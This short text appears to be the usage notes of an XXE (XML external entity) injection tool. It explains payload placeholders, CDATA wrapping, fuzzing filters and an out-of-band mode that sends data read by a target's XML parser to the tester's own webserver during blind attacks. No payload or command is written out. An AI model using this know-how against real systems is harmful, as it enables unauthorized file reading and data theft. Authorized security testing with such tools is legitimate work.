Extra Info:
  - When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to
  be injected
  - When specifiying file paths for windows use forward slash.
  - OOB: Out Of Bound: You can use this option to send the data processed by the xml parser, to your local webserver.
  Usefull with blind attacks
  - When using XML mode, it may break the XML parsing if XML reserved characters are loaded, so you may want to use
  cdata
  - When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}
  - When fuzzing you can add the {{FUZZ}} keyword in the main command argument.
  - You can specify a string to filter successfull requests when fuzzing, either by supplying an expected error string,
  or an expected success string
